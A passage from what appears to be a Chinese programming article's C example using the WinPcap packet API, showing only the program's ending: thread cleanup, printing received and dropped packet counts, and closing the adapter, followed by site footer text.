  WaitForSingleObject(sthread,INFINITE);
  CloseHandle(sthread);
  CloseHandle(rthread);
  if(PacketGetStats(lpadapter,&stat)==FALSE)
  {
    printf("Warning: Unable to get the adapter stat\n");
  }
  else
  {
    printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
  }
  PacketFreePacket(lppackets);
  PacketFreePacket(lppacketr);
  PacketCloseAdapter(lpadapter);
  return 0;
}

本文配套源碼

  1. 上一頁:
  2. 下一頁:
欄目導航
Copyright © 程式師世界 All Rights Reserved